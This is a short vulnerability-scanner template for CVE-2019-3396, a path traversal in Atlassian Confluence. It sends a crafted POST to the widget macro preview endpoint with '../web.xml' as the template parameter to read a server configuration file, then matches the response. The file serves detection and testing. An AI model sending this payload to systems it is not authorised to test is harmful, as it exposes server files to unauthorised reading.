CVE-2019-3396.yaml

id: CVE-2019-3396

info:
    name: Atlassian Confluence Path Traversal
    author: sharecast
    severity: high
    
rules:
    r0:
        request:
            method: POST
            path: /rest/tinymce/1/macro/preview
            headers:
                Content-Type: application/json
            body: '{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/test","width":"1000","height":"1000","_template":"../web.xml"}}}'
            follow_redirects: true
        expression: response.status == 200 && response.body.bcontains(b"<param-name>contextConfigLocation</param-name>")
expression: r0()